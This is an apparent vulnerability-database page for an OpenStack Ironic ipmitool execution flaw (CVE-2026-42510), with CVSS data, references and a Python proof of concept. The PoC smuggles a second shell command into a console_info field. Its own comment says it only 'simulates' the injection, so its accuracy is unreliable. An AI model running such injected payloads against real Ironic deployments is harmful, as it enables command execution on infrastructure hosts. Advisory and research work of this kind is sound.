CVE-2026-42510

Description

OpenStack Ironic before 35.0.1 allows ipmitool execution in a non-default configuration that has a console interface.

CVSS Details

CVSS Score

6.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenStack Ironic < 35.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target Ironic API endpoint for a specific node
TARGET_URL = "http://ironic-api:6385/v1/nodes/{node_uuid}/console"
ADMIN_TOKEN = "<admin_token>"  # Requires High Privilege (PR:H)
NODE_UUID = "<target_node_uuid>"

# Malicious payload intended to exploit ipmitool execution
# This simulates injecting a command chain via the console interface configuration
PAYLOAD = {
    "enabled": True,
    "console_info": "ipmitool -H <bmc_ip> -U admin -P pass sol activate; touch /tmp/pwned; #"
}

headers = {
    "X-Auth-Token": ADMIN_TOKEN,
    "Content-Type": "application/json"
}

try:
    response = requests.put(TARGET_URL.format(node_uuid=NODE_UUID), json=PAYLOAD, headers=headers)
    if response.status_code == 200 or response.status_code == 202:
        print("[+] PoC request sent successfully. Check host for command execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42510
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42510
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42510/
[4] VulDB https://vuldb.com/cve/CVE-2026-42510
[5] https://bugs.launchpad.net/ironic/+bug/2148331
[6] https://security.openstack.org/ossa/OSSA-2026-008.html
[7] http://www.openwall.com/lists/oss-security/2026/04/30/1

Raw JSON Data

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